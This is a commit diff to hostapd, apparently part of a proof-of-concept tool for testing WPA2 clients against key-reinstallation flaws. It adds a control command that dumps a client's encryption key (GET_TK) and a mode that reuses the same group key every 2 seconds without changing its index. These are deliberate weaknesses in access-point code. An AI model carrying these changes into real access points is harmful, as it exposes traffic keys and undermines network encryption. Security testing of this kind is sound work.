Browse Source

PoC: group key, get encryption key, .conf for wpaspy

Mathy 7 years ago
parent
commit
72f871738d
5 changed files with 89 additions and 23 deletions
  1. 30 0
      hostapd/ctrl_iface.c
  2. 1 1
      hostapd/hostapd.conf
  3. 1 1
      src/ap/ap_config.c
  4. 55 21
      src/ap/wpa_auth.c
  5. 2 0
      src/ap/wpa_auth.h

+ 30 - 0
hostapd/ctrl_iface.c

@@ -55,6 +55,7 @@
 #include "fst/fst_ctrl_iface.h"
 #include "config_file.h"
 #include "ctrl_iface.h"
+#include "../src/ap/wpa_auth_i.h"
 
 
 #define HOSTAPD_CLI_DUP_VALUE_MAX_LEN 256
@@ -2285,6 +2286,31 @@ static int hostapd_ctrl_driver_flags(struct hostapd_iface *iface, char *buf,
 }
 
 
+static int hostapd_get_tk(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen)
+{
+	u8 addr[ETH_ALEN];
+	struct sta_info *sta;
+	int klen;
+	int res;
+
+	wpa_printf(MSG_DEBUG, "CTRL_IFACE GET_TK %s", txtaddr);
+
+	if (hwaddr_aton(txtaddr, addr)) return -1;
+	sta = ap_get_sta(hapd, addr);
+	if (!sta) return -1;
+
+	if (sta->wpa_sm == NULL) return -1;
+	klen = wpa_cipher_key_len(sta->wpa_sm->pairwise);
+	if (klen <= 0) return -1;
+
+	res = wpa_snprintf_hex(buf, buflen, sta->wpa_sm->PTK.tk, klen);
+	buf[res++] = '\n';
+	buf[res] = '\0';
+
+	return res;
+}
+
+
 static int hostapd_ctrl_iface_receive_process(struct hostapd_data *hapd,
 					      char *buf, char *reply,
 					      int reply_size,
@@ -2549,6 +2575,10 @@ static int hostapd_ctrl_iface_receive_process(struct hostapd_data *hapd,
 	} else if (os_strcmp(buf, "DRIVER_FLAGS") == 0) {
 		reply_len = hostapd_ctrl_driver_flags(hapd->iface, reply,
 						      reply_size);
+	} else if (os_strcmp(buf, "START_GROUP_TESTS") == 0) {
+		poc_start_testing_group_handshake(hapd->wpa_auth);
+	} else if (os_strncmp(buf, "GET_TK ", 7) == 0) {
+		reply_len = hostapd_get_tk(hapd, buf + 7, reply, reply_size);
 	} else {
 		os_memcpy(reply, "UNKNOWN COMMAND\n", 16);
 		reply_len = 16;

+ 1 - 1
hostapd/hostapd.conf

@@ -64,7 +64,7 @@ logger_stdout_level=2
 # than one interface is used.
 # /var/run/hostapd is the recommended directory for sockets and by default,
 # hostapd_cli will use it when trying to connect with hostapd.
-ctrl_interface=/var/run/hostapd
+ctrl_interface=hostapd_ctrl
 
 # Access control for the control interface can be configured by setting the
 # directory to allow only members of a group to use sockets. This way, it is

+ 1 - 1
src/ap/ap_config.c

@@ -53,7 +53,7 @@ void hostapd_config_defaults_bss(struct hostapd_bss_config *bss)
 	bss->broadcast_key_idx_max = 2;
 	bss->eap_reauth_period = 3600;
 
-	bss->wpa_group_rekey = 600;
+	bss->wpa_group_rekey = 86400;
 	bss->wpa_gmk_rekey = 86400;
 	bss->wpa_key_mgmt = WPA_KEY_MGMT_PSK;
 	bss->wpa_pairwise = WPA_CIPHER_TKIP;

+ 55 - 21
src/ap/wpa_auth.c

@@ -65,6 +65,10 @@ static const int dot11RSNAConfigPMKLifetime = 43200;
 static const int dot11RSNAConfigPMKReauthThreshold = 70;
 static const int dot11RSNAConfigSATimeout = 60;
 
+/* globals to control the handshake being tested */
+#define TEST_4WAY	1
+#define TEST_GROUP	2
+int poc_testing_handshake = TEST_4WAY;
 
 static inline int wpa_auth_mic_failure_report(
 	struct wpa_authenticator *wpa_auth, const u8 *addr)
@@ -164,7 +168,7 @@ static inline int wpa_auth_start_ampe(struct wpa_authenticator *wpa_auth,
 }
 #endif /* CONFIG_MESH */
 
-void poc_log(const u8 *clientmac, const char *format, ...)
+static void poc_log(const u8 *clientmac, const char *format, ...)
 {
 	time_t rawtime;
 	struct tm *timeinfo;
@@ -174,8 +178,13 @@ void poc_log(const u8 *clientmac, const char *format, ...)
 
 	time(&rawtime);
 	timeinfo = localtime(&rawtime);
-	printf("[%02d:%02d:%02d] " MACSTR ": Hostapd: ", timeinfo->tm_hour,
-		timeinfo->tm_min, timeinfo->tm_sec, MAC2STR(clientmac));
+	if (clientmac == NULL) {
+		printf("[%02d:%02d:%02d] Hostapd: ", timeinfo->tm_hour,
+			timeinfo->tm_min, timeinfo->tm_sec);
+	} else {
+		printf("[%02d:%02d:%02d] " MACSTR ": Hostapd: ", timeinfo->tm_hour,
+			timeinfo->tm_min, timeinfo->tm_sec, MAC2STR(clientmac));
+	}
 
 	vprintf(format, arg);
 
@@ -311,6 +320,18 @@ static void wpa_rekey_gtk(void *eloop_ctx, void *timeout_ctx)
 	}
 }
 
+void poc_start_testing_group_handshake(struct wpa_authenticator *wpa_auth)
+{
+	// Start to periodically execute the group key handshake every 2 seconds
+	wpa_auth->conf.wpa_group_rekey = 2;
+	eloop_cancel_timeout(wpa_rekey_gtk, wpa_auth, NULL);
+	eloop_register_timeout(wpa_auth->conf.wpa_group_rekey,
+			       0, wpa_rekey_gtk, wpa_auth, NULL);
+
+	poc_testing_handshake = TEST_GROUP;
+	poc_log(NULL, "starting group key handshake tests\n");
+}
+
 
 static void wpa_rekey_ptk(void *eloop_ctx, void *timeout_ctx)
 {
@@ -990,14 +1011,17 @@ void wpa_receive(struct wpa_authenticator *wpa_auth,
 		msg = PAIRWISE_4;
 		msgtxt = "4/4 Pairwise";
 
-		// Still mark connection as complete, so we do receive and accept encrypted data
-		if (sm->keycount <= 0) {
-			wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_authorized, 1);
-			sm->keycount = 1;
-		}
+		if (poc_testing_handshake == TEST_4WAY)
+		{
+			// Still mark connection as complete, so we do receive and accept encrypted data
+			if (sm->keycount <= 0) {
+				wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_authorized, 1);
+				sm->keycount = 1;
+			}
 
-		//poc_log(sm->addr, "Ignoring Msg4/4\n");
-		return;
+			//poc_log(sm->addr, "Ignoring Msg4/4\n");
+			return;
+		}
 	} else {
 		msg = PAIRWISE_2;
 		msgtxt = "2/4 Pairwise";
@@ -2244,7 +2268,7 @@ SM_STATE(WPA_PTK, PTKINITNEGOTIATING)
 		return;
 	}
 
-	if (sm->TimeoutCtr > 1 && !sm->pairwise_set) {
+	if (poc_testing_handshake == TEST_4WAY && sm->TimeoutCtr > 1 && !sm->pairwise_set) {
 		poc_log(sm->addr, "already installing pairwise key\n");
 		enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise);
 		int klen = wpa_cipher_key_len(sm->pairwise);
@@ -2418,7 +2442,8 @@ SM_STATE(WPA_PTK, PTKINITNEGOTIATING)
 	}
 #endif /* CONFIG_P2P */
 
-	poc_log(sm->addr, "Resetting Tx IV of group key and sending Msg4/4\n");
+	if (poc_testing_handshake == TEST_4WAY)
+		poc_log(sm->addr, "Resetting Tx IV of group key and sending Msg4/4\n");
 
 	wpa_send_eapol(sm->wpa_auth, sm,
 		       (secure ? WPA_KEY_INFO_SECURE : 0) | WPA_KEY_INFO_MIC |
@@ -2736,12 +2761,17 @@ static int wpa_gtk_update(struct wpa_authenticator *wpa_auth,
 {
 	int ret = 0;
 
-	os_memcpy(group->GNonce, group->Counter, WPA_NONCE_LEN);
-	inc_byte_array(group->Counter, WPA_NONCE_LEN);
-	if (wpa_gmk_to_gtk(group->GMK, "Group key expansion",
-			   wpa_auth->addr, group->GNonce,
-			   group->GTK[group->GN - 1], group->GTK_len) < 0)
-		ret = -1;
+	if (poc_testing_handshake == TEST_GROUP) {
+		//printf(">>> Reusing previous GTK as new GTK: %02X %02X %02X %02X ..\n", group->GTK[group->GN - 1][0],
+		//	group->GTK[group->GN - 1][1], group->GTK[group->GN - 1][2], group->GTK[group->GN - 1][3]);
+	} else {
+		os_memcpy(group->GNonce, group->Counter, WPA_NONCE_LEN);
+		inc_byte_array(group->Counter, WPA_NONCE_LEN);
+		if (wpa_gmk_to_gtk(group->GMK, "Group key expansion",
+				   wpa_auth->addr, group->GNonce,
+				   group->GTK[group->GN - 1], group->GTK_len) < 0)
+			ret = -1;
+	}
 	wpa_hexdump_key(MSG_DEBUG, "GTK",
 			group->GTK[group->GN - 1], group->GTK_len);
 
@@ -2911,9 +2941,13 @@ static void wpa_group_setkeys(struct wpa_authenticator *wpa_auth,
 	group->changed = TRUE;
 	group->wpa_group_state = WPA_GROUP_SETKEYS;
 	group->GTKReKey = FALSE;
-	tmp = group->GM;
-	group->GM = group->GN;
-	group->GN = tmp;
+	if (poc_testing_handshake == TEST_GROUP) {
+		//printf(">>> %s: not chaning keyidx of new group key\n", __FUNCTION__);
+	} else {
+		tmp = group->GM;
+		group->GM = group->GN;
+		group->GN = tmp;
+	}
 #ifdef CONFIG_IEEE80211W
 	tmp = group->GM_igtk;
 	group->GM_igtk = group->GN_igtk;

+ 2 - 0
src/ap/wpa_auth.h

@@ -347,4 +347,6 @@ void wpa_auth_reconfig_group_keys(struct wpa_authenticator *wpa_auth);
 int wpa_auth_ensure_group(struct wpa_authenticator *wpa_auth, int vlan_id);
 int wpa_auth_release_group(struct wpa_authenticator *wpa_auth, int vlan_id);
 
+void poc_start_testing_group_handshake(struct wpa_authenticator *wpa_auth);
+
 #endif /* WPA_AUTH_H */